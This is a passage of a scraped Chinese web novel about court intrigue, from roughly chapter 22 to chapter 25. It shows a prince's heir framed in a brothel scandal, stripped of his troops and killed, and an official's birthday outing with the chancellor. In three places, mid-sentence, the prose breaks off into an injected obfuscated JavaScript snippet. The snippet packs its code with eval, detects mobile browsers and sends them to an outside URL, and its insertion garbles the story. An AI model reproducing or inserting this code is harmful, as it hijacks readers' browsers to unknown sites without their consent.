然后,他娓娓道来:“那孙子自左都来,昨日又是背着魏成,从闵王偷偷出来的,自然银两带的不多,我砸了两千两,气得他踹了一脚上茶水的小厮。” 吕锦城呵呵直乐:“活该!抢不到人,拿别人撒气,也就是个孬种!” 说到此处,吕锦城又口吐芬芳地骂了起来,贺兰舟是发现了,吕锦城虽然不差钱,但被人架着多花了一千两,也是真的气极了。 贺兰舟转转眼珠,想了想,此时是个机会,轻叹了口气,手覆在吕锦城肩膀上,掌心的温度透过衣襟,吕锦城登时收住嘴。 贺兰舟凝着他,满眼理解:“我知满川心中不爽,虽多花了一千两,但你想啊,薛有余堂堂世子,脸面被你踩在脚底下,岂不是值这一千两?” 孟知延在一旁顿住,须臾,冲他竖起大拇指。 吕锦城眨眨眼,当然也觉得贺兰舟说得有理,但更重要的是—— “他的面子?!呵!如今是一文不值了!” 脑中没想起系统的机械音,意料中的感动值也没出现,贺兰舟心里郁闷。 那头孟知延催促吕锦城:“吕兄,你快说说,到底发生了什么?” 吕锦城摇着折扇,喝口茶,道:“薛有余没抢到人,心里不服气,本还想找我理论,他隔壁坐着的公子倒是个和事佬,劝了他几句,二人就攀谈起来。” 后面吕锦城自然是和西公子在一起,至于薛有余和那位公子谈了什么,当然不会知晓。 但今日一大早,那南风馆就乱了起来。 “起初,是一个小厮大喊,紧接着好几个小厮进了一个房间,然后在里面大喊:公子,我们家公子可是兵部尚书府的二公子啊!这可怎么办是好?” 吕锦城学得生动,用手比划喇叭状:“一时间,南风馆的人都被吵醒了,我就在他们隔壁,往里头一看,豁!竟是昨晚跟我抢人的龟孙在里面!” 好了,到此,贺兰舟便明白了,薛有余是其中一个主角,另一个主角便是兵部尚书家的二公子。 “我也是后来听那些人说,这人是闵王世子。”吕锦城将头凑到他们二人跟前:“兵部尚书家的小厮像是生怕人不知道那里面是他家公子似的,一听‘薛有余’的名字,又开始嚎起来,说薛有余堂堂世子,竟然调戏了他家公子,做出这等下作之事……” 吕锦城又说了一堆,无非是小厮们如何大闹南风馆,等薛有余被吵醒时,门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可这话,如今怎么说也是没人信了,那南风馆的小厮都作证,说他轻薄调戏了人家,而尚书家的公子都哭了。 薛有余有苦难言,想来此事传得京城人尽皆知,左都的士兵也不会认准他为了,而左都的兵权怕也终要旁落了。 直到此刻,他才恍然,自从他踏入京城,就进入了这个巨大的圈套。 在这个朝堂中,没有善类。 他在恍惚中抬头,望向魏成一直言之凿凿说,朝中最心善的那位太傅大人。 恰此时,顾庭芳回首,与他视线相接。 薛有余的眼中,那人如高山挺拔,俊美得似雪落人间,可那眼底深不见底。 他惨然一笑,魏成这人,他父王看重,说他忠心耿耿,唯独少了根筋。 今日一见,父王果然没有说错。 魏成太傻了。 这朝堂之上,只怕人人都算计着他们手中的兵权,就连那位素来有美名的太傅也不例外。 毕竟,人人都说他忠心耿耿,他忠心的人——可是上面那个皇帝! 23. 第 23 章 薛有余调戏兵部尚书家的二公子一事,闹得人尽皆知,至于这位二公子为何也去逛南风馆,并无人在意。 如今人人都知闵王死了,尸骨未寒之际,其子竟入南风馆,先是与人争小倌,叫价到两千两,又是借着酒意,调戏了兵部尚书假的公子,实在难堪大用。 当日朝堂之上,小皇帝数落着薛有余,魏成在一旁磕破了头,解春玿直接越过小皇帝,让人将他扔出大殿。 魏成在殿外一声大喝:“我家殿下忠君护主,落得如此下场,世子年少,望陛下看在闵王殿下的面上,彻查此事!” 殿内,小皇帝脸色压得沉沉的,任魏成在大殿外喊了许久,都没有一丝松动。 解春玿本想命人将他的嘴封上,倒是沈问被他喊烦了,先出了殿门。 贺兰舟是六品小官,离殿门倒极近,沈问一派散漫地背手而出,笑意吟吟。 不知怎么,总让贺兰舟有股阴恻恻之感。 那人官帽整齐,官服补子上的仙鹤飘逸腾飞,沈问朝魏成走去的步子,也轻快极了。 贺兰舟压低身子,微侧过头望过去,见沈问停在魏成身前,左脚微抬,踩在魏成的手上。 恍惚间,贺兰舟想起第一次见沈问的场景,他也是抬起脚,踩在孙大年的肩膀上,然后用力,将人给踹骨折了。 此时,他亦是脚下用力,魏成闷哼一声,不解地抬头看他。 沈问压低身子,贴近魏成耳边,说:“闵王那烂人,你也好意思拿出来说?” 魏成脸色一白,沈问轻嗤一声,“他早就该死了”然后,脚下用力。 魏成的脸由白转红。 沈问的声音并没有刻意压低,与贺兰舟一样站在后排的小官们,都听清了。 他们一个个不是咽口水,就是打摆子、捏袖子,只觉宰辅大人,不愧是宰辅,真是、真是……神勇无比! 贺兰舟却觉得,沈问说得没错,打从闵王入京的第一日,沈问就想杀了他。 只不过,孙大年没使好力气,只是把人给砸昏迷了。 闵王一死,左都之兵就会自乱阵脚,到时候再设计闵王那几个儿子自相残杀,沈问再将自己人安插到左都兵营,说不得,沈问还真能渔翁得利。 但如今,算是被小皇帝他们彻底打乱了计划,亦或是—— 贺兰舟想,会不会从闵王一案破了之后,沈问、解春玿、姜满和顾庭芳几人就达成了一致,不然薛有余不会这么快入局入网。 薛有余入京之日,姜满对于他被留在宫中一事,未发一言,沈问出奇地与顾庭芳配合默契,一个唱红脸,一个唱白脸。 还有最关键的,解春玿回来了,直接用冰封住了闵王尸身,强留他在宫中。 一切都那么恰到好处。 想通这一切,贺兰舟直觉脑子都要干废了,他们这群人,真不愧是朝堂的“股肱之臣”,真是一个比一个心黑! 当然,贺兰舟小小地把顾庭芳踢出在外,毕竟太傅最为忠心,一定是为了小皇帝、为了大召作想! 就闵王那德行,仗着手里有兵,欺男霸男、坏事做尽,他那儿子也没少有样学样,都坏一窝子了,也是活该! 薛有余调戏的毕竟是兵部尚书之子,一个是皇室子弟,一个是大臣之子。 小皇帝斥责完薛有余,命他跪在太庙里三日,减除食邑一百户,静思己过。 毕竟是皇室中人,这惩罚倒也得当,除此之外,小皇帝又安抚了兵部尚书,给足了尚书府补偿,这事情看样子就这么风平浪静地过了。 薛有余却心惊胆战,他看着兵部尚书那要杀人的眼神,怕事情还未完,怕自己无法活着离开京城。 他也不知道兵部尚书府和那位二公子,在这个圈套里扮演什么角色,但此时此刻,他却不能再请离京了。 事情闹得这么大,小皇帝震怒,他若上赶着要离京,小皇帝定不会放过他,更何况,若兵部尚书真是恨极了他,那他出城门之时,可能脑袋就掉了。 到时候,左都士兵可会为他报仇? 薛有余很有自知之明,缩着脖子装鹌鹑,兵部尚书也拿他没法。 小皇帝拿闵王当借口留他在京,这借口就要用到底,是以薛有余还得等到为先帝祷颂之后才能离开京城。 得此之令,薛有余反而放下了心。 至少,在为先帝祷颂之前的日子,没人能把他怎么样。 八月初十,先帝冥辰,小皇帝为先帝祈福祷颂,更为大召祈国泰民安。 皇帝仪仗浩浩荡荡从宫中出发,一路行到黑鹊山皇陵,文武百官跟在仪仗后,百姓跪于街道两侧。 因皇帝出行,锦衣卫和东厂都出动了,生怕有意图不轨之人。 贺兰舟缀在队伍后面,扭头好奇张望时,正好看到锦衣卫北镇抚使徐进,当日查闵王一案,二人有过一面之缘。 徐进看到他,也认出来了,冲他点头一笑,贺兰舟赶紧回礼。 经过他身边时,贺兰舟多看了一眼,见他身前站着一名女子,女子温婉,发上簪着白花,着一身素衣,衣上无一花纹。 仿佛也是为先帝祭奠一般,只是那女子望向皇陵方向,眼底淡漠,神情也十分冷淡。 徐进望向女子时,眼里似有一抹心疼之色。 贺兰舟心下好奇,偏头朝一旁的孟知延看去,孟知延是礼部的,这为先帝祷颂一事,他倒是没参与,难得落得清闲,这才和他在一起走着。 贺兰舟张嘴想问点儿什么,却见他抿着唇角,眼中泛着几分寒凉,微微一愣。 与往日的恣意不同,孟知延今日竟有几分恍惚。 “无方兄。”贺兰舟唤一声,孟知延没反应,他又大声唤:“无方兄。” 孟知延这才回过神,侧头看向贺兰舟,那眼底的凉意收敛,他笑问:“怎么了,兰舟兄?” “你今日怎么了?”贺兰舟纳闷:“怎么魂不守舍?” 孟知延一愣,旋即一笑,道:“家父这些时日犯了头疾,昨夜子时才睡,我让家妹今日带他去医馆看一看,心下担忧,不知他老人家可好了些。” 贺兰舟感叹:“无方兄真是孝顺。伯父定然无恙的。” 孟知延笑笑:“嗯,但愿如此。” 贺兰舟碰碰他胳膊,扭头又朝徐进的方向望去,悄悄问他:“无方兄,你可知那女子是何人?” 孟知延虽只个礼部小官,却也曾准备过不少宴集大事,自然认识不少朝中之人。 他闻言,顺着贺兰舟的方向望过去,看清徐进那二人时,不知是不是贺兰舟的错觉,他眼中竟隐隐有一丝水光。 孟知延喉头微动了下,缓缓转过头,语气平淡道:“哦,知道,是徐进的夫人,是前朝公主叶宜。” 贺兰舟瞪大了眼睛,又扭头去看一眼,竟然是前朝的公主! “我的乖乖!”贺兰舟喃喃一声。 大召到小皇帝这儿,才建朝九年,前朝的公主,如今也不过二十有三,怪不得如此清丽。 贺兰舟扭过头,还想和孟知延说些前朝八卦,却见他眉头紧锁,想起他父亲还不知头疾如何了,孟知延怕是心烦,便闭了嘴。 仪仗一路行至皇陵,祭台在最高处,为先帝祷颂,能上祭台之上的,只有小皇帝、他的老师——当朝太傅顾庭芳和解春玿。 二人一左一一右陪着小皇帝登顶,天子祭天、祭祖宗社稷,今日虽是为先帝祷颂,却也是要祭天地宗庙的。 按本朝祭祀之礼,小皇帝登顶后,要先焚香、奠玉帛,再进献牛羊猪肉,之后礼官奏乐,唱祝歌,百官跪礼,小皇帝再献酒。 最后,酒一洒,由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340600|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼官唱颂词,再在这祭台上四角的送神炉上点燃火把,才算礼毕。 这事之繁琐,简直耗人耗力,贺兰舟一想自己要站上半日的光景,腿肚子就发软。 贺兰舟百无聊赖地跟着百官站在后侧,看小皇帝慢悠悠地登顶,那宽大的冕服显得格外沉肃与端敬。 贺兰舟只看得见他们三人的背影,待到日上中天时,三人已上山顶,礼官也开始祷颂步骤。 一切都进行得好好的,但贺兰舟早发现了,大召可能犯了邪,许就是这皇陵的风水不大好,又出事了! 小皇帝接过一旁礼官递过来的羊肉,要放到祭台上的供桌时,供桌竟然裂了,“轰”一声响,整个倒了下来,供桌上摆放好的牛头“骨碌碌”滚到小皇帝脚边。 小皇帝被吓得险些一屁股坐在地上,好在解春玿及时上前,将他扶住。 一切都在眨眼之间,底下百官议论纷纷。 贺兰舟踮脚张望,虽未看清发生了什么,但听百官们的议论声,也知道这事不大好,扭头想找孟知延八卦一番,却见他盯着山顶,一副心事重重的样子,遂抿了唇,不再开口。 祭台之上,解春玿扶住小皇帝,看着站在一旁盯着那断裂的供台,不动分毫的顾庭芳,拧了下眉。 “太傅大人?”他凉凉唤了一声。 顾庭芳看着眼前乱成一团的祭台,眸色沉沉,不知在想什么,此时听到声音,缓缓回过头。 “太傅,这可怎么办是好?”小皇帝眼里闪着泪花,真有些害怕了。 他毕竟还是个少年,第一次为先帝祷颂,兼之祈国泰民安,若在这一日出了事,天底下的人都会说这是凶兆,他是无德之君。 顾庭芳敛起神思,瞥了解春玿一眼,后言:“解掌印,今日是为先帝祷颂大事,陛下年少,恐有贼人作乱。” 只一瞬,解春玿便明白了顾庭芳的用意,掌心一竖,锦衣卫和东厂出动,包围了皇陵。 底下百官并没听到他们议论了什么,只是见锦衣卫和东厂的人突然蹿出,将他们围住,一时都愣住。 在百官前面的是薛有余,他是皇室中人,又是奉命替闵王来的,自然是站在最前面。 见此场景,薛有余也是吓了一跳,生怕是奔着他来的。 场面瞬时安静下来,高高祭台之上,解春玿回头,眸色冰冷,他一身黑裳,此时宛如恶鬼修罗。 “来人!有贼人作乱,还不快快拿下?” 下一瞬,那些侍卫齐齐朝薛有余的方向行去。 早在解春玿看下来时,薛有余眼皮子直跳,这下,可确认了,他们又是冲着他来的! 魏成不在,他一个人,连个护卫都没有,简直欲哭无泪。 “我没有……” 可解春玿哪会给他机会,一个眼神,一位东厂的掌班就将他的嘴塞住,命下属将他捆绑起来。 如此,供桌倒塌一事,也就算完了,只说薛有余记恨小皇帝削减他的食邑,不服当日与兵部尚书之子一事的惩罚,故意为之。 不敬先帝,蔑视当今皇帝,薛有余这罪,可是妥妥的了。 贺兰舟想,这计中计,左都的兵权是真的要拱手奉上了。 果不其然,祷颂三日后,薛有余自书自己能力不够,德不配位,心有悔过,愿将一半大军归入京中大营。 似是为了能挽回一点民心,他又言:只愿陛下善待这些将士,请陛下准许进入京中大营者,妻儿可入京,让他们一家团聚。 这封书信交到小皇帝手上时,听说小皇帝夸赞了他三声,然后准许了。 薛有余就这般,只带回自己的私兵,离开了京城。 只不过,后来听闻,薛有余出京三百里,过越阳坡时,不知是何人,一箭射中他的眉心。 他——到底死在了回家的路上。 24. 第 24 章 薛有余的死,贺兰舟猜,很有可能是沈问做的。 毕竟沈问杀人,似乎从不问理由,很有可能单纯看他不顺眼。 不然,贺兰舟想不通,薛有余交出兵权,已经没有任何威胁,为什么偏偏多此一举要在半路截杀他? 更何况,薛有余死后,早朝之上,小皇帝准许了重开西北马市的提议。 如今大召,事有决策,需两拨人马同时同意,一是宰辅班底,一个便是解春玿加盖红印,此事才算成。 沈问早就向小皇帝提过重开马市,小皇帝一直都没同意,其实是解春玿将此事搁置,迟迟未盖红印。 两派争锋已久,竟然在薛有余死后,此事落了实处。 沈问整个人都得意起来,毕竟在夺左都兵权一事,不阻止便是最大的功臣。 不然以沈问的手段,从中作梗,一定会搅得朝堂天翻地覆。 如此,重开西北马市,也是给了他相应的回报。 至于左都的将士,一半归入京中大营,还有一小部分被小皇帝送人情,给了姜满,如今朝堂之上,三方势力十分相当。 这一切,倒跟贺兰舟无关。 对他来说,现在的生命值涨得太慢,他每天签到答题,再加蹭顾庭芳,一日也只能涨一天的寿命。 获得反派们的感动值,难如登天。 贺兰舟很惆怅。 不过,见到太傅大人,贺兰舟眼睛就亮了。 今日早朝下得早,小皇帝近来没什么烦心事,文官武官都十分安分,朝堂上汇报最多的就是马上要中秋了,到时该让锦衣卫好好巡视,以防出什么意外。 “太傅大人。”贺兰舟小步跑到顾庭芳身侧,满脸的笑意。 顾庭芳侧头看向他,半挑起眉,揶揄他:“兰舟兄还想去城西吃糖水?” 贺兰舟脸一红,摇头,又贴近他三分,“再过几日就是重阳,茱萸可驱邪避灾……”说到此处,贺兰舟从袖中拿出一个香囊。 香囊的料子不算多好,但胜在小巧可爱,巴掌大,上面绣的仙鹤歪歪扭扭,看出绣的人十分手拙。 顾庭芳讶异了一瞬,“兰舟兄做的?” 贺兰舟有些不好意思,点点头道:“里面我放了茱萸,太傅若不喜佩戴,可挂在帐上,也可驱蚊虫。” 顾庭芳展颜一笑,“自然喜爱。” 说着,顾庭芳伸手接过,道了声谢:“多谢兰舟兄了。” 见顾庭芳接过,贺兰舟心里微微松了口气,他为吕锦城买生辰礼,已花光了积蓄,这做香囊的布料和线,是他卖了院子里种的菜买的。 若是顾庭芳不喜欢,他可怄死了,好在太傅大人善解人意,为人和善,不愿意拒绝他。 贺兰舟心里更喜了。 穿来这些时日,他没少蹭着顾庭芳涨生命值,恰借着重阳日,给人家做点儿小礼物,聊表一下心意。 太傅大人什么都不缺,贺兰舟有的,也就是自己那点心意了。 而远处,沈问听着百官的恭维,从台阶下来时,看到的就是贺兰舟冲着顾庭芳,笑得弯了眼睛,笑容明媚如日光,刺得他眼睛有些疼。 他目光下移,落在二人相贴的衣袖之上,二人说了什么,继续向前走动,行动间,二人衣物摩擦,一青一红,倒是分外相衬,却又实在碍眼。 沈问见贺兰舟这般亲近顾庭芳,撇了撇嘴。 身后有人唤他,邀他:“若宰辅大人得空,今日酉时某于望仙楼设宴,庆贺大人的生辰,不知大人……” “不去。”沈问冷淡道。 他不是不喜过生辰,相反之前的每一年,这些官员都想方设法来宴请他,然后在宴上送他从大召各处搜刮来的好物。 但今年,难得的,他竟不想在这些人身上浪费时间。 贺兰舟送出了礼物,心情格外愉悦,下值回家的路上,哼起了歌,脚步也分外轻快。 只是从顺天府府衙还没走出多远,就在半路上遇到了沈问。 沈问好似特意在路上等他一般,连眼皮都没抬,就问他:“怎么下值这么慢?” 贺兰舟抬头望了望天色,他是特地掐着点儿下值的,一分都没多待,怎么慢了? 不过,他可不敢反驳沈问,乖巧地并着步子,拱手行礼:“宰辅大人。” 沈问见他像是要跟他划清界限,眸色沉了沉,且先不说他留他一命,再说当日也是他将他调离七品小官,竟对他还不如顾庭芳亲近。 沈问紧攥了攥右手覆着的手衣,如今开马市一事已毕,他可有的是时间和这个不怕死的小官消磨时间了。 难得遇上这么有趣的人,也难得他如此命大。 沈问本想,闵王被砸一案,若是查不出个什么,最后还要有个替死鬼,就推贺兰舟出去。 若是此人有趣,他就姑且救他一救,当个玩物留着玩儿。 可这人分明都猜到了他的想法,却还每日乐呵呵的,难道是他以为自己抱上了顾庭芳那条大腿,他就不会把他怎么样? 沈问在心下轻嗤一声。 贺兰舟问完了好,就等着沈问先行,大召上下级分明,他遇见了沈问这大佬,自然得给人家让路。 可他等了好一会儿,沈问也没动,贺兰舟眨眨眼,脱口问道:“宰辅大人不会在等我吧?” 沈问略动了下眉梢,“不然呢?我作甚要来顺天府?” 贺兰舟受宠若惊,说实话,他挺怕沈问的,这人阴晴不定,人也是说杀就杀,更何况,他真觉得薛有余的死,跟沈问有关。 见他一瞬瞳孔骤缩,沈问心里更是有气,若非贺兰舟命大,闵王竟被两个名不见经传的东西给杀了,他一定要把人关起来,好好折磨一番才是。 贺兰舟不知沈问他老人家等他,是要做什么,一副听训的模样,两只手揣起来,眨巴眼睛望着沈问。 沈问最厌恶这种神情,好像他是个多大的恶人似的。 他道:“薛有余的案子,你不去查查?明明是顺天府的推官,怎么日日这么闲?” 刚才还说他下值慢,现在又说他闲,真是阴晴不定,贺兰舟在心里腹诽,面上继续不动声色。 说实话,那越阳坡属陌县,还真轮不到他管,再说,就算薛有余的案子移到京城,薛有余那么个名声,小皇帝不见得会让人怎么管。 再说,薛有余到底是皇室子弟,此案多半由大理寺负责审理。 也不知沈问堵着他说这些做什么,他清了清嗓子,回:“若宰辅大人有所吩咐,舟义不容辞。” 他想沈问许是要他“毁尸灭迹”,薛有余的尸体和闵王的尸体都一起摆在京城闵王府,闵王府重兵把守,他是做不到“毁尸”。 至于要把这杀人的线索处理干净,贺兰舟在心里摊手,他一个小小推官,哪里能做得到? 想也知道,沈问用不上他这样的小人物,既然如此,说些漂亮话总没错。 但他还是想不通,沈问到底来找他做什么。 沈问听到他的话,轻嗤一声,给了他两字评价:“谄媚。” 末了,他问贺兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340601|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟:“往日里,你也是这般巴结顾庭芳的?” 贺兰舟无语,太傅大人两袖清风、为人至善,哪里需要他巴结? “你不是请过顾庭芳吃糖水,今日是我生辰,准你随旁侍候,知你囊中空空,但一碗糖水要不了多少银钱吧。” 贺兰舟怎么也不会想到,沈问今日来堵他,竟是逼他请他吃糖水,哦,换句话说,是管他要生辰礼。 不过,一碗糖水做生辰礼,贺兰舟还是出的起的。 见他迟迟不语,沈问眯了眯眼:“你今日送顾庭芳香囊,连一碗糖水也不肯请我?” 贺兰舟已经无力反驳了,沈问这人定是脑子不正常,但这时机倒也好,若是能收获到沈问的感动值,就能多一月寿命。 他挺了挺胸,抬眸微笑:“怎么会?舟只是在想一碗糖水作为大人的生辰礼,是不是舟太无状了?” 生怕沈问会管他再多要礼物,贺兰舟赶忙又道:“不过,大人体谅下官,下官感激不尽,是以下官又想,要请大人吃那种糖水?加桂花的,还是桃胶、亦或是……” 后面的话,在沈问越来越冷的眼神下戛然而止。 沈问嗤一声:“啰嗦。” 贺兰舟扁住嘴,不再多言,在前带路,领他去城西那家多光顾的铺子,他给沈问要了碗桂花糖水,沈问竟然让人又多加了糖。 本就觉得自己嗜甜,没想到沈问竟然比他还喜甜。 见贺兰舟端着糖水碗看自己,沈问道:“怎么?本官推了那么多官员的邀约,陪你吃糖水,还觉得委屈了?” 贺兰舟:“……” 贺兰舟默默移开眼神,慢吞吞吃起糖水。 不等喝一半,沈问突然抬手,将他那碗糖水拿了过去。 “诶!”贺兰舟不解:“大人这是做什么?” 沈问竟抿了他那碗糖水一口,“没我的好喝,你怎么喝的这么仔细?” 贺兰舟简直无语极了,他二人的关系,还没好到共用一个碗吧,他将那碗夺回来,沈问似故意一般,将碗抬了抬,笑睨他跳起来够着。 沈问高大,贺兰舟扯着他袖子,又怕把剩下的糖水弄洒了,动作十分拘谨。 两人拉拉扯扯间,贺兰舟脸因动得太急而微红,正想瞪沈问一眼,抬头却悚然一惊。 也不知道他这是什么运气,竟好死不死,碰见了解春玿! 完了,解春玿定然以为他是沈问的人了! 见贺兰舟止住动作,沈问奇怪,顺着他的视线,回头望过去,见解春玿身着一袭蟒袍常服,身后跟着一群东厂的太监。 他们这群人所过之处,百姓“退避三舍”。 沈问“呵”了一声,扭头问贺兰舟:“你怕他?” 说完,也不等贺兰舟答,就点头,赞同道:“怕他也对,毕竟这人杀人不眨眼,那薛有余许就是他杀的。” 他的声音不大不小,正好能让路对面的解春玿听见。 解春玿早在刚刚就注意到二人,他淡淡扫了眼贺兰舟,眸光静静落在沈问身上。 “沈大人,若要人不知除非己莫为。”他轻哼一声:“别胡乱攀咬,小心自掘坟墓。” 说罢,他深深看一眼贺兰舟,率一众东厂之人离去。 贺兰舟听着二人对话,在心里奇怪,难道薛有余的死与沈问无关? 沈问这般行事言语,倒好像真不是他所为,而听二人的意思,这二人不会都以为是对方杀了薛有余吧? 直到此刻,贺兰舟才真正好奇,薛有余到底是谁杀的? 25. 第 25 章 解春玿离开,沈问也喝完了糖水。 贺兰舟见他喝完,心里暗暗松口气,揣着袖子等着他先离去,等了好一会儿,却见沈问压根儿没有要跟他分开的意思。 感动值不涨,沈问其人还这么讨厌,贺兰舟简直头皮发麻。 “大人今日生辰,可有想去的地方?”想了想,贺兰舟还是问了一句。 “生辰”二字一出,沈问抬眸凝着他,见他看着自己,不再说其他,好像就是随口一问,突的笑了一声。 笑意微有些凉。 贺兰舟被他笑得莫名其妙,在脑中问系统:“我说错什么了吗?” 系统也不明白:“应该没有吧。” “不过,反派之所以是反派,就是不能以常理去想。”系统语重心长:“宿主,你要走的路还很远呢。” 贺兰舟:“……”我谢谢你。 贺兰舟没得到沈问的回答,也就没再问,自顾地往前走,沈问竟真的跟了上来。 两人走了一段路,正好走到之前贺兰舟买地理志的那间书铺。 贺兰舟来了兴致,竟也没忘扭头问沈问:“大人可要去书铺看看?” 沈问是文官之首,虽一日未上过学堂,经史子集却仍多有涉猎,听府尹施寻说过,这位宰辅大人有过目不忘的本领。 倒也难怪他会记得六品以上所有官员的名字,贺兰舟在心里感慨。 沈问颔首,率先提步进了书铺,贺兰舟紧跟他身后。 沈问径自走到一处摆放诗集的架子,从上面随意拿出几本,就翻看起来。 贺兰舟稀奇地看向他。 沈问看书时,难得的有几分柔和,四周亮起的烛火,照在他脸上,竟显得十分静谧,与其平日里阴晴不定的样子全然不同。 贺兰舟突然好奇,鬼使神差问了一句:“如果大人不是宰辅,想过什么样的日子?” 那看书的人闻言,翻页的手微顿,旋即嗤笑:“若我不做宰辅,那想要我命的人,可从城东排到城西。” 沈问懒懒抬眸看他:“要我死的人,多如牛毛。” 贺兰舟心道:你倒有自知之明。 原以为沈问会借此嘲弄一番,可下一瞬,他竟真的认真答:“不过若有可能,当‘身披鹿裘皎如雪,日把一卷神农书’。” 贺兰舟身子一震,想到那场景,莫名有些心驰神往。 可还不等他多畅想,沈问在他耳侧阴恻恻问:“怎么?你也想要我死?” 贺兰舟:“……” 他眼神如深深之寒潭,贺兰舟不知他怎么会联想到这儿。 沈问未免也太高估他了,他一个六品小官,就算沈问不当宰辅,他也不见得能要他的命吧。 贺兰舟张嘴,想要说些什么,还未等开口,书铺门口走进一位蓝裳公子,拍了拍手。 “好一句‘身披鹿裘皎如雪,日把一卷神农书’。” 贺兰舟与沈问闻声望过去,那蓝衣公子剑眉入鬓,眉眼英气十足,贺兰舟瞧着,只觉此人面容有几分熟悉。 不过贺兰舟敢肯定,自己并没有见过他。 想来这公子刚入书铺,并未听到他们两人前面聊的话,且也是离得远,并没听见沈问在贺兰舟耳边耳语的字句。 听到那一句诗,这公子便对沈问盛赞一番,随后谦逊道:“在下于汾,二位公子谈吐不凡,不知是哪家公子?” 贺兰舟刚要答,沈问已是道:“于公子谬赞,不过是前人诗句,某便舔着脸借用一番罢了。”倒是没回他名姓。 想想也对,沈问那名号可不太好,只怕要将人吓个好歹。 不过,沈问虽没告诉于汾他的名姓,却也不曾端着架子,倒是和他攀谈起来。 态度之友好,令贺兰舟瞠目。 沈问对他,可从来不是这样的,贺兰舟在心底小小撇了撇嘴。 两人聊了有一刻钟的功夫,于汾突的轻咳一声,脸色微有些白,身后的小厮上前,给他披上披风。 如今京城渐冷,晚间多风动,而这蓝衣公子看样子,身体不是很好。 那公子抱歉一笑,对二人道:“时候不早,我也该归家了,我在雅居有个诗会,若是不嫌弃,二位公子三日后可去走一走,以诗会友,也是良事。” 还没等贺兰舟反应,沈问满口答应,那位于公子满心欢喜地走了。 贺兰舟很奇怪,沈问这样从不给任何人面子的人,竟然会同此人聊这么久,还答应了人家参加诗会。 可还不等他好奇问上一句,就见于汾走远,身侧的宰辅大人脸色已冷了下来。 变脸之快,令贺兰舟反复咂舌。 “你可知此人是谁?” 贺兰舟摇摇头,这京中,能压得过沈问的,无非就是小皇帝,就连闵王那样的宗室皇亲,他都不放在眼里,这人是谁,能令沈问如此? 沈问轻笑了一声,侧头看向他,眼底带着浓浓的兴味:“他啊——” 他说:“是真正的兵部尚书之子。” 贺兰舟呆愣愣看着他,没反应过来,沈问见他那模样,就知他什么都不懂、也什么都不知道。 他忽的恶劣一笑,将俊脸凑到贺兰舟眼前,微微压低身子,头偏在贺兰舟耳侧。 他在贺兰舟耳边说:“你以为,于江真的会让自己的儿子爬在薛有余的床上?” 沈问看着他露出的白皙纤细的颈子,眼神转暗,胸口的郁气难以排出,冲他脖颈吹了口气。 贺兰舟打了个哆嗦。 沈问看着,眼底来了兴致,语气也变好了几分:“自然不是。于江的儿子自幼体弱,养在家中极少出门。那所谓的二公子,不过是他府上的一个小厮,而于汾——才是真正的尚书府公子。” 贺兰舟此刻才恍然,难怪觉得这公子面容熟悉,既是兵部尚书之子,能长得不像兵部尚书吗? 贺兰舟心中暗惊,怪不得当日吕锦城与他们说起此事时,他觉得哪里奇怪,对啊,尚书府的小厮为何到处嚷嚷,生怕别人不知道那里面有他家公子。 原来,里面的人,只是一个小厮。 看来,引薛有余入局,这其中兵部尚书府也参与了其中,而且还是用一个“假儿子”。 可从此之后,满潮都会认那就是他的二子! 这一局棋,除了薛有余惨死,闵王府惨败,人人都是赢家。 贺兰舟还未从震惊中回过神来,此局甚妙,却也真的管用,只用此一招,就将薛有余的名声给败了。 左都将士逗留在京城有半月之多,见过京中繁华,若有可能,只怕乐不思蜀,且闵王又死了,薛有余败坏了名声,左都将士又怎会为他这样一个不孝之人效命? 贺兰舟甚至想,这个局到此还未完,毕竟光是调戏尚书之子,还不足以压垮薛有余。 小皇帝特意留他到为先帝祷颂之后,祷颂之日发生了供台倒塌,再捉拿薛有余,说他死不悔改,蔑视皇帝与先祖,那可就不一样了。 这一步步,心思之缜密,令人叹为观止。 见他一瞬便想通一切,沈问目露欣赏,但旋即心里窝着的那团火,越烧越热。 “你道是何人出此计?” 贺兰舟偏头看他,看清他眼底的厌恶时,心底划过一个名字。 可下一瞬,沈问却未跟他说那人名姓,而是对他说:“贺兰舟,今日是我生辰。” 贺兰舟一愣,不解地微偏了下头。 他知道,所以还请他吃了碗糖水,还带他逛铺子了。 见他神情坦荡,一副“我做了我能做的一切”的无辜之态,沈问气笑了。 他咬牙切齿道:“贺兰舟,你道薛有余与那尚书府的假公子是怎么躺在一张床上的?” “献计之人所行之事,都是鸡鸣狗盗之徒所做。”沈问继续气冲冲道:“你当顾庭芳是什么好人?” 果然是太傅大人…… 贺兰舟有些不服气,沈问自己想不出这计谋,就说太傅不是好人,太傅所为,替小皇帝夺了兵权,对朝堂与皇室忠心耿耿。 见他似不服气,沈问又道:“还有吕饶二人,若非有他在其中,你道大理寺是如何查出那线索的?他二人又如何死的?” 